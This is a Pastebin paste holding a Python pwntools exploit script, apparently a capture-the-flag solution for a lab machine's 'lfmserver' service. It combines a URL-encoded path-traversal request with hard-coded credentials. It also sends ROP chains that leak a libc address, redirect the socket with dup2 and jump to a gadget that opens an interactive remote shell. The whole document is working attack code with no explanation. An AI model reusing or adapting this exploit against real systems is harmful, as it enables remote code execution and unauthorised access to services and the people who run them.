Advertisement
Guest User

Untitled

a guest
Jan 26th, 2020
1,077
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.31 KB | None | 0 0
  1. from pwn import *
  2.  
  3. #context.log_level = 'debug'
  4.  
  5. IP = '10.10.10.173'
  6. PORT = 8888
  7. FD = 6
  8.  
  9. bin = ELF('./lfmserver')
  10. libc = ELF('libc.so.6')
  11.  
  12. TIME = 0.1
  13.  
  14. def generate():
  15. return remote(IP, PORT)
  16.  
  17. hash = "26ab0db90d72e28ad0ba1e22ee510510"
  18.  
  19. user = "lfmserver_user"
  20. password = "!gby0l0r0ck$$!"
  21.  
  22. def encode(string):
  23. return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)
  24.  
  25. def wait():
  26. p.recvrepeat(0.1)
  27.  
  28. def genrequest(payload):
  29. #thanks to pottm for this poc payload
  30. request = "%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/proc/sys/kernel/randomize_va_space%x00%61%61%61%61%61%61%61%61%62%61%61%61%61%61%61%61%63%61%61%61%61%61%61%61%64%61%61%61%61%61%61%61%65%61%61%61%61%61%61%61%66%61%61%61%61%61%61%61%67%61%61%61%61%61%61%61%68%61%61%61%61%61%61%61%69%61%61%61%61%61%61%61%6a%61%61%61%61%61%61%61%6b%61%61%61%61%61%61%61%6c%61%61%61%61%61%61%61%6d%61%61%61%61%61%61%61%6e%00{}".format(encode(payload))
  31. request = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n".format(request, user, password, hash)
  32. #print request
  33. return request
  34.  
  35. p = generate()
  36. poprdi = 0x0000000000405c4b #: pop rdi; ret;
  37. poprsi = 0x0000000000405c49 #: pop rsi; pop r15; ret;
  38. ropnop = 0x000000000040251f #: nop; ret;
  39.  
  40. rop = p64(poprdi) + p64(FD) + p64(poprsi) + p64(bin.got['dup2']) + p64(0) + p64(ropnop) + p64(bin.symbols['write'])
  41. p.sendline(genrequest(rop))
  42.  
  43. leak = p.recvall().split('\n')[4][1:7]
  44. leak = u64(leak.ljust(8,'\x00'))
  45. libc.address = leak - libc.symbols['dup2']
  46. log.info("Libc base: " + hex(libc.address))
  47.  
  48. p = generate()
  49.  
  50. payload = p64(poprdi)
  51. payload += p64(FD)
  52. payload += p64(poprsi)
  53. payload += p64(0x0)
  54. payload += p64(0x0)
  55. #payload += p64(ropnop)
  56. payload += p64(bin.symbols['dup2'])
  57.  
  58. payload += p64(poprdi)
  59. payload += p64(FD)
  60. payload += p64(poprsi)
  61. payload += p64(0x1)
  62. payload += p64(0x0)
  63. #payload += p64(ropnop)
  64. payload += p64(bin.symbols['dup2'])
  65.  
  66. payload += p64(poprdi)
  67. payload += p64(FD)
  68. payload += p64(poprsi)
  69. payload += p64(0x2)
  70. payload += p64(0x0)
  71. #payload += p64(ropnop)
  72. payload += p64(bin.symbols['dup2'])
  73.  
  74. rop = payload + p64(poprdi) + p64(1) + p64(poprsi) + p64(bin.got['dup2']) + p64(0) + p64(ropnop) + p64(bin.symbols['write'])+p64(ropnop) + p64(libc.address + 0x501e3 )
  75.  
  76. p.sendline(genrequest(rop))
  77. p.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement